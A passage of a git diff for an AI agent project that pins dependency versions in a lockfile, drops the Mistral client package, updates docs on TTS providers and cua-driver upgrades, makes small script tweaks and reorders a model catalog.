"==1.3.4" }, + { name = "numpy", marker = "extra == 'voice'", specifier = "==2.4.3" }, + { name = "openai", specifier = "==2.24.0" }, + { name = "parallel-web", marker = "extra == 'parallel-web'", specifier = "==0.4.2" }, + { name = "prompt-toolkit", specifier = "==3.0.52" }, + { name = "psutil", specifier = "==7.2.2" }, + { name = "ptyprocess", marker = "sys_platform != 'win32' and extra == 'pty'", specifier = "==0.7.0" }, + { name = "pydantic", specifier = "==2.12.5" }, + { name = "pyjwt", extras = ["crypto"], specifier = "==2.12.1" }, + { name = "pytest", marker = "extra == 'dev'", specifier = "==9.0.2" }, + { name = "pytest-asyncio", marker = "extra == 'dev'", specifier = "==1.3.0" }, + { name = "pytest-split", marker = "extra == 'dev'", specifier = "==0.11.0" }, + { name = "pytest-xdist", marker = "extra == 'dev'", specifier = "==3.8.0" }, + { name = "python-dotenv", specifier = "==1.2.1" }, + { name = "python-telegram-bot", extras = ["webhooks"], marker = "extra == 'messaging'", specifier = "==22.6" }, + { name = "python-telegram-bot", extras = ["webhooks"], marker = "extra == 'termux'", specifier = "==22.6" }, + { name = "pywinpty", marker = "sys_platform == 'win32' and extra == 'pty'", specifier = "==2.0.15" }, + { name = "pyyaml", specifier = "==6.0.3" }, + { name = "qrcode", marker = "extra == 'dingtalk'", specifier = "==7.4.2" }, + { name = "qrcode", marker = "extra == 'feishu'", specifier = "==7.4.2" }, + { name = "qrcode", marker = "extra == 'messaging'", specifier = "==7.4.2" }, + { name = "requests", specifier = "==2.33.0" }, + { name = "rich", specifier = "==14.3.3" }, + { name = "ruamel-yaml", specifier = "==0.18.17" }, + { name = "ruff", marker = "extra == 'dev'", specifier = "==0.15.10" }, + { name = "simple-term-menu", marker = "extra == 'cli'", specifier = "==1.6.6" }, + { name = "slack-bolt", marker = "extra == 'messaging'", specifier = "==1.27.0" }, + { name = "slack-bolt", marker = "extra == 'slack'", specifier = "==1.27.0" }, + { name = "slack-sdk", marker = "extra == 'messaging'", specifier = "==3.40.1" }, + { name = "slack-sdk", marker = "extra == 'slack'", specifier = "==3.40.1" }, + { name = "sounddevice", marker = "extra == 'voice'", specifier = "==0.5.5" }, + { name = "tenacity", specifier = "==9.1.4" }, { name = "tinker", marker = "extra == 'rl'", git = "https://github.com/thinking-machines-lab/tinker.git?rev=30517b667f18a3dfb7ef33fb56cf686d5820ba2b" }, - { name = "ty", marker = "extra == 'dev'", specifier = ">=0.0.1a29,<0.0.22" }, - { name = "tzdata", marker = "sys_platform == 'win32'", specifier = ">=2023.3" }, - { name = "uvicorn", extras = ["standard"], marker = "extra == 'rl'", specifier = ">=0.24.0,<1" }, - { name = "uvicorn", extras = ["standard"], marker = "extra == 'web'", specifier = ">=0.24.0,<1" }, - { name = "vercel", marker = "extra == 'vercel'", specifier = ">=0.5.7,<0.6.0" }, - { name = "wandb", marker = "extra == 'rl'", specifier = ">=0.15.0,<1" }, + { name = "ty", marker = "extra == 'dev'", specifier = "==0.0.21" }, + { name = "tzdata", marker = "sys_platform == 'win32'", specifier = "==2025.3" }, + { name = "uvicorn", extras = ["standard"], marker = "extra == 'rl'", specifier = "==0.41.0" }, + { name = "uvicorn", extras = ["standard"], marker = "extra == 'web'", specifier = "==0.41.0" }, + { name = "vercel", marker = "extra == 'vercel'", specifier = "==0.5.7" }, + { name = "wandb", marker = "extra == 'rl'", specifier = "==0.25.1" }, { name = "yc-bench", marker = "python_full_version >= '3.12' and extra == 'yc-bench'", git = "https://github.com/collinear-ai/yc-bench.git?rev=bfb0c88062450f46341bd9a5298903fc2e952a5c" }, - { name = "youtube-transcript-api", marker = "extra == 'youtube'", specifier = ">=1.2.0" }, + { name = "youtube-transcript-api", marker = "extra == 'youtube'", specifier = "==1.2.4" }, ] -provides-extras = ["modal", "daytona", "vercel", "hindsight", "dev", "messaging", "cron", "slack", "matrix", "cli", "tts-premium", "voice", "pty", "honcho", "mcp", "homeassistant", "sms", "computer-use", "acp", "mistral", "bedrock", "termux", "termux-all", "dingtalk", "feishu", "google", "youtube", "web", "rl", "yc-bench", "all"] +provides-extras = ["anthropic", "exa", "firecrawl", "parallel-web", "fal", "edge-tts", "modal", "daytona", "vercel", "hindsight", "dev", "messaging", "cron", "slack", "matrix", "cli", "tts-premium", "voice", "pty", "honcho", "mcp", "homeassistant", "sms", "computer-use", "acp", "bedrock", "termux", "termux-all", "dingtalk", "feishu", "google", "youtube", "web", "rl", "yc-bench", "all"] [[package]] name = "hf-transfer" @@ -2688,15 +2695,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/f8/62/d9ba6323b9202dd2fe166beab8a86d29465c41a0288cbe229fac60c1ab8d/jsonlines-4.0.0-py3-none-any.whl", hash = "sha256:185b334ff2ca5a91362993f42e83588a360cf95ce4b71a73548502bda52a7c55", size = 8701, upload-time = "2023-09-01T12:34:42.563Z" }, ] -[[package]] -name = "jsonpath-python" -version = "1.1.5" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/2d/db/2f4ecc24da35c6142b39c353d5b7c16eef955cc94b35a48d3fa47996d7c3/jsonpath_python-1.1.5.tar.gz", hash = "sha256:ceea2efd9e56add09330a2c9631ea3d55297b9619348c1055e5bfb9cb0b8c538", size = 87352, upload-time = "2026-03-17T06:16:40.597Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/28/50/1a313fb700526b134c71eb8a225d8b83be0385dbb0204337b4379c698cef/jsonpath_python-1.1.5-py3-none-any.whl", hash = "sha256:a60315404d70a65e76c9a782c84e50600480221d94a58af47b7b4d437351cb4b", size = 14090, upload-time = "2026-03-17T06:16:39.152Z" }, -] - [[package]] name = "jsonschema" version = "4.26.0" @@ -3117,25 +3115,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979, upload-time = "2022-08-14T12:40:09.779Z" }, ] -[[package]] -name = "mistralai" -version = "2.3.0" -source = { registry = "https://pypi.org/simple" } -dependencies = [ - { name = "eval-type-backport" }, - { name = "httpx" }, - { name = "jsonpath-python" }, - { name = "opentelemetry-api" }, - { name = "opentelemetry-semantic-conventions" }, - { name = "pydantic" }, - { name = "python-dateutil" }, - { name = "typing-inspection" }, -] -sdist = { url = "https://files.pythonhosted.org/packages/4d/05/40c38c8893f0ec858756b30f4a939378fc62cf33565af538a843497f3f24/mistralai-2.3.0.tar.gz", hash = "sha256:eb371a9b3b62552f3d4a274ecf5b2c48b90fd3439ecd1425e7f5163cdd87e29a", size = 387145, upload-time = "2026-04-03T15:06:48.927Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/bd/57/d06cbfd96ec6dc45d5c1fe9456f7fcfcb9549c9fa91e213561d1d88729e7/mistralai-2.3.0-py3-none-any.whl", hash = "sha256:22111747c215f1632141660151924f06579f87cd8db2649e0b1f87721d076851", size = 925544, upload-time = "2026-04-03T15:06:47.593Z" }, -] - [[package]] name = "modal" version = "1.3.4" diff --git a/website/docs/integrations/index.md b/website/docs/integrations/index.md index 444e07660f80..21235a12ba18 100644 --- a/website/docs/integrations/index.md +++ b/website/docs/integrations/index.md @@ -56,12 +56,12 @@ See [Browser Automation](/docs/user-guide/features/browser) for setup and usage. Text-to-speech and speech-to-text across all messaging platforms: | Provider | Quality | Cost | API Key | -||----------|---------|------|---------| -|| **Edge TTS** (default) | Good | Free | None needed | -|| **ElevenLabs** | Excellent | Paid | `ELEVENLABS_API_KEY` | -|| **OpenAI TTS** | Good | Paid | `VOICE_TOOLS_OPENAI_KEY` | -|| **MiniMax** | Good | Paid | `MINIMAX_API_KEY` | -|| **NeuTTS** | Good | Free | None needed | +|----------|---------|------|---------| +| **Edge TTS** (default) | Good | Free | None needed | +| **ElevenLabs** | Excellent | Paid | `ELEVENLABS_API_KEY` | +| **OpenAI TTS** | Good | Paid | `VOICE_TOOLS_OPENAI_KEY` | +| **MiniMax** | Good | Paid | `MINIMAX_API_KEY` | +| **NeuTTS** | Good | Free | None needed | Speech-to-text supports six providers: local faster-whisper (free, runs on-device), a local command wrapper, Groq, OpenAI Whisper API, Mistral, and xAI. Voice message transcription works across Telegram, Discord, WhatsApp, and other messaging platforms. See [Voice & TTS](/docs/user-guide/features/tts) and [Voice Mode](/docs/user-guide/features/voice-mode) for details. diff --git a/website/docs/reference/cli-commands.md b/website/docs/reference/cli-commands.md index ed15665d661b..1079bdf3ca26 100644 --- a/website/docs/reference/cli-commands.md +++ b/website/docs/reference/cli-commands.md @@ -976,7 +976,8 @@ Subcommands: | Subcommand | Description | |------------|-------------| | `install` | Run the upstream cua-driver installer (macOS only). | -| `status` | Print whether `cua-driver` is on `$PATH`. | +| `install --upgrade` | Re-run the installer even if cua-driver is already on PATH. The upstream script always pulls the latest release, so this performs an in-place upgrade. | +| `status` | Print whether `cua-driver` is on `$PATH` and which version is installed. | `hermes computer-use install` is the stable entry point for installing the [cua-driver](https://github.com/trycua/cua) binary used by the @@ -985,6 +986,11 @@ Subcommands: to use for re-running the install if the toolset toggle didn't trigger it (for example, on returning-user setups). +`hermes update` automatically re-runs the upstream installer at the end +of the update if cua-driver is on PATH, so most users will not need to +call `--upgrade` manually. Use it when upstream ships a fix you want +right now without waiting for the next Hermes update. + ## `hermes sessions` ```bash diff --git a/website/docs/user-guide/features/computer-use.md b/website/docs/user-guide/features/computer-use.md index e4c285869633..d05ff9546560 100644 --- a/website/docs/user-guide/features/computer-use.md +++ b/website/docs/user-guide/features/computer-use.md @@ -57,6 +57,23 @@ After installing, regardless of which path you took: ``` or add `computer_use` to your enabled toolsets in `~/.hermes/config.yaml`. +## Keeping cua-driver up to date + +The cua-driver project ships fixes regularly (e.g. v0.1.6 fixed a Safari +window-focus bug for UTM workflows). Hermes refreshes the binary in two +places so you don't get stuck on a stale release: + +- **`hermes update`** — when you update Hermes itself, if `cua-driver` is + on PATH the upstream installer re-runs at the end of the update. + No-op for non-macOS users and for users without cua-driver installed. +- **`hermes computer-use install --upgrade`** — manual force-refresh. + Re-runs the upstream installer regardless of whether cua-driver is + already installed. Use this when you want the latest fix without + waiting for the next agent update. + +`hermes computer-use status` shows the installed version next to the +binary path. + ## Quick example User prompt: *"Find my latest email from Stripe and summarise what they want me to do."* diff --git a/website/docs/user-guide/tui.md b/website/docs/user-guide/tui.md index e74523058391..34bbd513e3d3 100644 --- a/website/docs/user-guide/tui.md +++ b/website/docs/user-guide/tui.md @@ -66,7 +66,7 @@ export HERMES_TUI_DIR=/path/to/prebuilt/ui-tui hermes --tui ``` -The directory must contain `dist/entry.js` and an up-to-date `node_modules`. +The directory must contain `dist/entry.js`. ## Keybindings diff --git a/website/scripts/extract-skills.py b/website/scripts/extract-skills.py index 302fbe51c307..b508eb198729 100644 --- a/website/scripts/extract-skills.py +++ b/website/scripts/extract-skills.py @@ -309,7 +309,7 @@ def _guess_category(tags: list) -> str: def _consolidate_small_categories(skills: list) -> list: for s in skills: - if s["category"] in ("uncategorized", ""): + if s["category"] in {"uncategorized", ""}: s["category"] = "other" s["categoryLabel"] = "Other" diff --git a/website/scripts/generate-llms-txt.py b/website/scripts/generate-llms-txt.py index 5bb2c65cb53e..a34c57792a3d 100644 --- a/website/scripts/generate-llms-txt.py +++ b/website/scripts/generate-llms-txt.py @@ -280,7 +280,7 @@ def emit_file(rel: str) -> None: rel = path.relative_to(DOCS) parts = rel.parts if len(parts) >= 3 and parts[0] == "user-guide" and parts[1] == "skills" \ - and parts[2] in ("bundled", "optional"): + and parts[2] in {"bundled", "optional"}: continue seen.add(path) meta, body = read_frontmatter(path) diff --git a/website/static/api/model-catalog.json b/website/static/api/model-catalog.json index 61235075af7b..aacd82bb557f 100644 --- a/website/static/api/model-catalog.json +++ b/website/static/api/model-catalog.json @@ -1,6 +1,6 @@ { "version": 1, - "updated_at": "2026-05-06T02:14:51Z", + "updated_at": "2026-05-11T16:41:16Z", "metadata": { "source": "hermes-agent repo", "docs": "https://hermes-agent.nousresearch.com/docs/reference/model-catalog" @@ -12,10 +12,6 @@ "note": "Descriptions drive picker badges. Live /api/v1/models filters curated ids by tool-calling support and free pricing." }, "models": [ - { - "id": "moonshotai/kimi-k2.6", - "description": "recommended" - }, { "id": "anthropic/claude-opus-4.7", "description": "" @@ -29,51 +25,47 @@ "description": "" }, { - "id": "qwen/qwen3.6-plus", - "description": "" + "id": "moonshotai/kimi-k2.6", + "description": "recommended" }, { - "id": "anthropic/claude-sonnet-4.5", - "description": "" + "id": "openrouter/pareto-code", + "description": "auto-routes to cheapest coder meeting openrouter.min_coding_score" }, { - "id": "anthropic/claude-haiku-4.5", + "id": "qwen/qwen3.6-plus", "description": "" }, { - "id": "openrouter/elephant-alpha", - "description": "free" - }, - { - "id": "openrouter/owl-alpha", - "description": "free" + "id": "anthropic/claude-haiku-4.5", + "description": "" }, { "id": "openai/gpt-5.5", "description": "" }, { - "id": "openai/gpt-5.4-mini", + "id": "openai/gpt-5.5-pro", "description": "" }, { - "id": "xiaomi/mimo-v2.5-pro", + "id": "openai/gpt-5.4-mini", "description": "" }, { - "id": "xiaomi/mimo-v2.5", + "id": "openai/gpt-5.4-nano", "description": "" }, { - "id": "tencent/hy3-preview:free", - "description": "free" + "id": "openai/gpt-5.3-codex", + "description": "" }, { - "id": "tencent/hy3-preview", + "id": "xiaomi/mimo-v2.5-pro", "description": "" }, { - "id": "openai/gpt-5.3-codex", + "id": "tencent/hy3-preview", "description": "" }, { @@ -93,11 +85,7 @@ "description": "" }, { - "id": "qwen/qwen3.5-plus-02-15", - "description": "" - }, - { - "id": "qwen/qwen3.5-35b-a3b", + "id": "qwen/qwen3.6-35b-a3b", "description": "" }, { @@ -108,26 +96,10 @@ "id": "minimax/minimax-m2.7", "description": "" }, - { - "id": "minimax/minimax-m2.5", - "description": "" - }, - { - "id": "minimax/minimax-m2.5:free", - "description": "free" - }, { "id": "z-ai/glm-5.1", "description": "" }, - { - "id": "z-ai/glm-5v-turbo", - "description": "" - }, - { - "id": "z-ai/glm-5-turbo", - "description": "" - }, { "id": "x-ai/grok-4.20", "description": "" @@ -141,28 +113,28 @@ "description": "" }, { - "id": "nvidia/nemotron-3-super-120b-a12b:free", - "description": "free" + "id": "deepseek/deepseek-v4-pro", + "description": "" }, { - "id": "arcee-ai/trinity-large-preview:free", + "id": "openrouter/elephant-alpha", "description": "free" }, { - "id": "arcee-ai/trinity-large-thinking", - "description": "" + "id": "openrouter/owl-alpha", + "description": "free" }, { - "id": "openai/gpt-5.5-pro", - "description": "" + "id": "tencent/hy3-preview:free", + "description": "free" }, { - "id": "openai/gpt-5.4-nano", - "description": "" + "id": "nvidia/nemotron-3-super-120b-a12b:free", + "description": "free" }, { - "id": "deepseek/deepseek-v4-pro", - "description": "" + "id": "inclusionai/ring-2.6-1t:free", + "description": "free" } ] }, @@ -173,40 +145,43 @@ }, "models": [ { - "id": "moonshotai/kimi-k2.6" + "id": "anthropic/claude-opus-4.7" }, { - "id": "xiaomi/mimo-v2.5-pro" + "id": "anthropic/claude-opus-4.6" }, { - "id": "xiaomi/mimo-v2.5" + "id": "anthropic/claude-sonnet-4.6" }, { - "id": "tencent/hy3-preview" + "id": "moonshotai/kimi-k2.6" }, { - "id": "anthropic/claude-opus-4.7" + "id": "qwen/qwen3.6-plus" }, { - "id": "anthropic/claude-opus-4.6" + "id": "anthropic/claude-haiku-4.5" }, { - "id": "anthropic/claude-sonnet-4.6" + "id": "openai/gpt-5.5" }, { - "id": "anthropic/claude-sonnet-4.5" + "id": "openai/gpt-5.5-pro" }, { - "id": "anthropic/claude-haiku-4.5" + "id": "openai/gpt-5.4-mini" }, { - "id": "openai/gpt-5.5" + "id": "openai/gpt-5.4-nano" }, { - "id": "openai/gpt-5.4-mini" + "id": "openai/gpt-5.3-codex" }, { - "id": "openai/gpt-5.3-codex" + "id": "xiaomi/mimo-v2.5-pro" + }, + { + "id": "tencent/hy3-preview" }, { "id": "google/gemini-3-pro-preview" @@ -221,10 +196,7 @@ "id": "google/gemini-3.1-flash-lite-preview" }, { - "id": "qwen/qwen3.5-plus-02-15" - }, - { - "id": "qwen/qwen3.5-35b-a3b" + "id": "qwen/qwen3.6-35b-a3b" }, { "id": "stepfun/step-3.5-flash" @@ -232,39 +204,15 @@ { "id": "minimax/minimax-m2.7" }, - { - "id": "minimax/minimax-m2.5" - }, - { - "id": "minimax/minimax-m2.5:free" - }, { "id": "z-ai/glm-5.1" }, - { - "id": "z-ai/glm-5v-turbo" - }, - { - "id": "z-ai/glm-5-turbo" - }, - { - "id": "x-ai/grok-4.20-beta" - }, { "id": "x-ai/grok-4.3" }, { "id": "nvidia/nemotron-3-super-120b-a12b" }, - { - "id": "arcee-ai/trinity-large-thinking" - }, - { - "id": "openai/gpt-5.5-pro" - }, - { - "id": "openai/gpt-5.4-nano" - }, { "id": "deepseek/deepseek-v4-pro" }